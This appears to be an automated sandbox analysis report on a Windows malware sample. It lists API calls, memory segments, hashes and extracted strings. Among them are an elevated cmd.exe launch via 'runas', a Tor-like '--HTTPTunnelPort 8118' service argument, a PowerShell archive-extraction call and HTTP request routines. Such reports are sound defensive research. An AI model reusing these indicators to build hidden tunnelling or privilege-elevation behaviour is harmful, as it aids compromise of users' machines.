
Strings

runas, xrefs: 00007FF6EA73CA19
/K , xrefs: 00007FF6EA73C9CD
cmd.exe, xrefs: 00007FF6EA73CA12
--nt-service --HTTPTunnelPort 8118, xrefs: 00007FF6EA73C9ED

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: ExecuteShell
String ID: --nt-service --HTTPTunnelPort 8118$/K $cmd.exe$runas
API String ID: 587946157-3396984295
Opcode ID: 393c89a3a48ebb11f6ae12443f73a7799e0082fc936169364e09e43a7c3ff6f8
Instruction ID: b133957e562e308124ee72270e4483f735467d37a4a78831db89bb2ae19d51ec
Opcode Fuzzy Hash: 393c89a3a48ebb11f6ae12443f73a7799e0082fc936169364e09e43a7c3ff6f8
Instruction Fuzzy Hash: A111B237A1898294EF10DF21E8913E82320FB84398F408171EA4D8BBA5DF7ED555C345

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA704E16 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WinHttpOpenRequest.WINHTTP ref: 00007FF6EA7243FF
WinHttpSendRequest.WINHTTP ref: 00007FF6EA72443C
WinHttpReceiveResponse.WINHTTP ref: 00007FF6EA724466
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF6EA7244AE
WinHttpReadData.WINHTTP ref: 00007FF6EA724534

Strings

text/*, xrefs: 00007FF6EA7243B0
image/jpeg, xrefs: 00007FF6EA7243BB

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: Http$DataRequest$AvailableOpenQueryReadReceiveResponseSend
String ID: image/jpeg$text/*
API String ID: 3577705223-3333705434
Opcode ID: aefbf99d94a876655ea779af107571a48c6e2cc93965328326b6de58441bf51a
Instruction ID: fd3967e9fe464b75c33ef2d1fb5b3b97eacb154a52dd48559b82b5c3db58785e
Opcode Fuzzy Hash: aefbf99d94a876655ea779af107571a48c6e2cc93965328326b6de58441bf51a
Instruction Fuzzy Hash: 54D1E63A604BC189DB60DF25D8983EC37A0F788B98F104136DA4D8BBA9DF79D691C345

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA700FCD Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 92
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FF6EA73C792
WaitForSingleObject.KERNEL32 ref: 00007FF6EA73C7AF
CloseHandle.KERNEL32 ref: 00007FF6EA73C7BC
CloseHandle.KERNEL32 ref: 00007FF6EA73C7C9

Strings

" " , xrefs: 00007FF6EA73C6F3
powershell.exe -command Expand-Archive ", xrefs: 00007FF6EA73C6D3

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: CloseHandle$CreateObjectProcessSingleWait
String ID: " " $powershell.exe -command Expand-Archive "
API String ID: 2059082233-3371301986
Opcode ID: 5d35922516e56664045f8b3e436d5d3f8d5e183c2aae82f27a5ff475b1f90ef5
Instruction ID: f1844eb08c09580e26d1354a8bc1c6ffbb3db1712788da6e3057952dc2a0c9e3
Opcode Fuzzy Hash: 5d35922516e56664045f8b3e436d5d3f8d5e183c2aae82f27a5ff475b1f90ef5
Instruction Fuzzy Hash: 69418E3B614A8188EB60DF25E8903E93361EB84798F404172EA4ECBBA9DF3AD554C345

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8528F0 Relevance: 7.5, APIs: 5, Instructions: 44
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitThread.KERNEL32 ref: 00007FF6EA85290E
ExitThread.KERNEL32 ref: 00007FF6EA852931

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: ExitThread
String ID:
API String ID: 2158977761-0
Opcode ID: 45f0d944e57095264255b813aeab5094e97caf96975d7f26009513a514ef9ba8
Instruction ID: 376cc53e728a1a487c98ed65a0459ae4fa77a37615319fde2bdd5fb4b3933e44
Opcode Fuzzy Hash: 45f0d944e57095264255b813aeab5094e97caf96975d7f26009513a514ef9ba8
Instruction Fuzzy Hash: EC213C37618A8582EA289B15E48472A6771F788B74F040370EAEE877F4DF3DD940CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA718B30 Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6EA718B86
OpenProcessToken.ADVAPI32 ref: 00007FF6EA718B98
GetTokenInformation.KERNELBASE ref: 00007FF6EA718BC5
FindCloseChangeNotification.KERNELBASE ref: 00007FF6EA718BE0

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: ProcessToken$ChangeCloseCurrentFindInformationNotificationOpen
String ID:
API String ID: 2406157124-0
Opcode ID: 16f2112996a757f39021dc06c793ada22e132704ce2583fc963b8c5fb9a54479
Instruction ID: cfd2e1c6f080552b2ca2feac7a616fc74cb5a049ace7a7eb1f4a14762e26908c
Opcode Fuzzy Hash: 16f2112996a757f39021dc06c793ada22e132704ce2583fc963b8c5fb9a54479
Instruction Fuzzy Hash: A0214F37618A8199EB60DF31E8943E933A0EB48798F440072EA0DC7B68DF3ED958C745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8CAA00 Relevance: 3.1, APIs: 2, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF6EA8CAA90
GetFileType.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,00007FF6EA8CAC2A), ref: 00007FF6EA8CAACE

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: ff730619851844edf9055e7dc4b052305c4180070780436cb30a9c60877eb9de
Instruction ID: c379a04d38c0a8b4be88afd35989e70f95b0e95ef134d9ef7daaaa46fa33de71
Opcode Fuzzy Hash: ff730619851844edf9055e7dc4b052305c4180070780436cb30a9c60877eb9de
Instruction Fuzzy Hash: 9B51713351D68189D7708B19E08432ABBA1E788B74F141362E6EE8B7E5CE3DD541CF06

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8C3F40 Relevance: 3.0, APIs: 2, Instructions: 49
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE ref: 00007FF6EA8C3FC8
GetLastError.KERNEL32 ref: 00007FF6EA8C3FD2

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 0ff525e69c83cf5aa995f5eaf90bbd18be8b715adc7165b56c656060aeb71e1f
Instruction ID: f775c6091597c504516ad83a1d54f9b434bee9490b39e9741002114817b650d3
Opcode Fuzzy Hash: 0ff525e69c83cf5aa995f5eaf90bbd18be8b715adc7165b56c656060aeb71e1f
Instruction Fuzzy Hash: 31112E76628A8486EB50CB15F48035AB7A5F788BC0F504226EF8E87B28EF3DD555CF00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF6EA705A0A Relevance: 60.0, APIs: 11, Strings: 23, Instructions: 518fileCOMMON

Download Yara Rule

APIs

OutputDebugStringW.KERNEL32 ref: 00007FF6EA8BD98F
OutputDebugStringW.KERNEL32 ref: 00007FF6EA8BD9C9
OutputDebugStringW.KERNEL32 ref: 00007FF6EA8BD9D6
OutputDebugStringW.KERNEL32 ref: 00007FF6EA8BD9E4
OutputDebugStringW.KERNEL32 ref: 00007FF6EA8BD9F1
GetFileType.KERNEL32 ref: 00007FF6EA8BE0A5
WriteConsoleW.KERNEL32 ref: 00007FF6EA8BE115
GetLastError.KERNEL32 ref: 00007FF6EA8BE124
WriteFile.KERNEL32 ref: 00007FF6EA8BE213
OutputDebugStringW.KERNEL32 ref: 00007FF6EA8BE293

Strings

_VCrtDbgReportW, xrefs: 00007FF6EA8BD973, 00007FF6EA8BDAB8, 00007FF6EA8BDB20, 00007FF6EA8BDB9C, 00007FF6EA8BDBE3, 00007FF6EA8BDC50, 00007FF6EA8BDC96, 00007FF6EA8BDD49, 00007FF6EA8BDDB1, 00007FF6EA8BDDFA, 00007FF6EA8BDE52, 00007FF6EA8BDEB9, 00007FF6EA8BE183, 00007FF6EA8BE330
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 00007FF6EA8BDEC0
Assertion failed: , xrefs: 00007FF6EA8BDB4A
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 00007FF6EA8BDC9D
_CrtDbgReport: String too long or IO Error, xrefs: 00007FF6EA8BDAEF, 00007FF6EA8BDD80
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 00007FF6EA8BDE88
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 00007FF6EA8BD97A, 00007FF6EA8BE337
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 00007FF6EA8BDC57
wcstombs_s(nullptr, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 00007FF6EA8BDE5E
Second Chance Assertion Failed: File , xrefs: 00007FF6EA8BD988
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 00007FF6EA8BDBEA
<file unknown>, xrefs: 00007FF6EA8BD9B2
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 00007FF6EA8BDB27
Assertion failed!, xrefs: 00007FF6EA8BDB5B
, Line , xrefs: 00007FF6EA8BD9CF
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 00007FF6EA8BDBA3
%ls(%d) : %ls, xrefs: 00007FF6EA8BDCFD
wcscpy_s(szOutMessage, 4096, szLineMessage), xrefs: 00007FF6EA8BDE01
minkernel\crts\ucrt\src\appcrt\misc\dbgrptt.cpp, xrefs: 00007FF6EA8BD96C, 00007FF6EA8BDAAC, 00007FF6EA8BDB19, 00007FF6EA8BDB95, 00007FF6EA8BDBDC, 00007FF6EA8BDC49, 00007FF6EA8BDC8F, 00007FF6EA8BDD3D, 00007FF6EA8BDDAA, 00007FF6EA8BDDF3, 00007FF6EA8BDE46, 00007FF6EA8BDEB2, 00007FF6EA8BE177, 00007FF6EA8BE329
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 00007FF6EA8BE18F
P, xrefs: 00007FF6EA8BE1B3
(*_errno()), xrefs: 00007FF6EA8BDAC4, 00007FF6EA8BDD55
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 00007FF6EA8BDDB8

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: DebugOutputString$FileWrite$ConsoleErrorLastType
String ID: %ls(%d) : %ls$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$minkernel\crts\ucrt\src\appcrt\misc\dbgrptt.cpp$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szOutMessage, 4096, szLineMessage)$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(nullptr, szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 1433141663-2861829097
Opcode ID: f15e11ce0bfc4093a6e1091b85da13be7b627fd492cc4f70dba555eca8a1bb8a
Instruction ID: 548bfe136acb70c448f890886b3d62b0a8cfc4c1f0bb99b65f2acdfa1704b046
Opcode Fuzzy Hash: f15e11ce0bfc4093a6e1091b85da13be7b627fd492cc4f70dba555eca8a1bb8a
Instruction Fuzzy Hash: 77622A36A18A8295EB30CF10E4943EA73A1FB84344F404276E68DC7BA9DF7ED545CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA83F730 Relevance: 25.0, APIs: 1, Strings: 13, Instructions: 457COMMON

Download Yara Rule

Strings

reallocation_is_allowed || (!reallocation_is_allowed && new_head == old_head), xrefs: 00007FF6EA83FD99
Client hook re-allocation failure at file %hs line %d., xrefs: 00007FF6EA83F86E
minkernel\crts\ucrt\src\appcrt\heap\debug_heap.cpp, xrefs: 00007FF6EA83FA07, 00007FF6EA83FA95, 00007FF6EA83FDBA, 00007FF6EA83FE43, 00007FF6EA83FEBD
Error: memory allocation: bad memory block type., xrefs: 00007FF6EA83F948
%ls, xrefs: 00007FF6EA83F9F2, 00007FF6EA83FA80, 00007FF6EA83FDA5, 00007FF6EA83FE2E, 00007FF6EA83FEA8
Error: possible heap corruption at or near 0x%p, xrefs: 00007FF6EA83FACF
The Block at 0x%p was allocated by aligned routines, use _aligned_realloc(), xrefs: 00007FF6EA83F99D
Client hook re-allocation failure., xrefs: 00007FF6EA83F893
old_head->_line_number == line_number_for_ignore_blocks && old_head->_request_number == request_number_for_ignore_blocks, xrefs: 00007FF6EA83FA74
Error: memory allocation: bad memory block type.Memory allocated at %hs(%d)., xrefs: 00007FF6EA83F920
__acrt_first_block == old_head, xrefs: 00007FF6EA83FE9C
_CrtIsValidHeapPointer(block), xrefs: 00007FF6EA83F9E6
__acrt_last_block == old_head, xrefs: 00007FF6EA83FE22

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: %ls$Client hook re-allocation failure at file %hs line %d.$Client hook re-allocation failure.$Error: memory allocation: bad memory block type.$Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).$Error: possible heap corruption at or near 0x%p$The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()$_CrtIsValidHeapPointer(block)$__acrt_first_block == old_head$__acrt_last_block == old_head$minkernel\crts\ucrt\src\appcrt\heap\debug_heap.cpp$old_head->_line_number == line_number_for_ignore_blocks && old_head->_request_number == request_number_for_ignore_blocks$reallocation_is_allowed || (!reallocation_is_allowed && new_head == old_head)
API String ID: 0-458177602
Opcode ID: 8ab7814054867027867280ab0e370d90708073262d5dcbfc605fa6ece64b6212
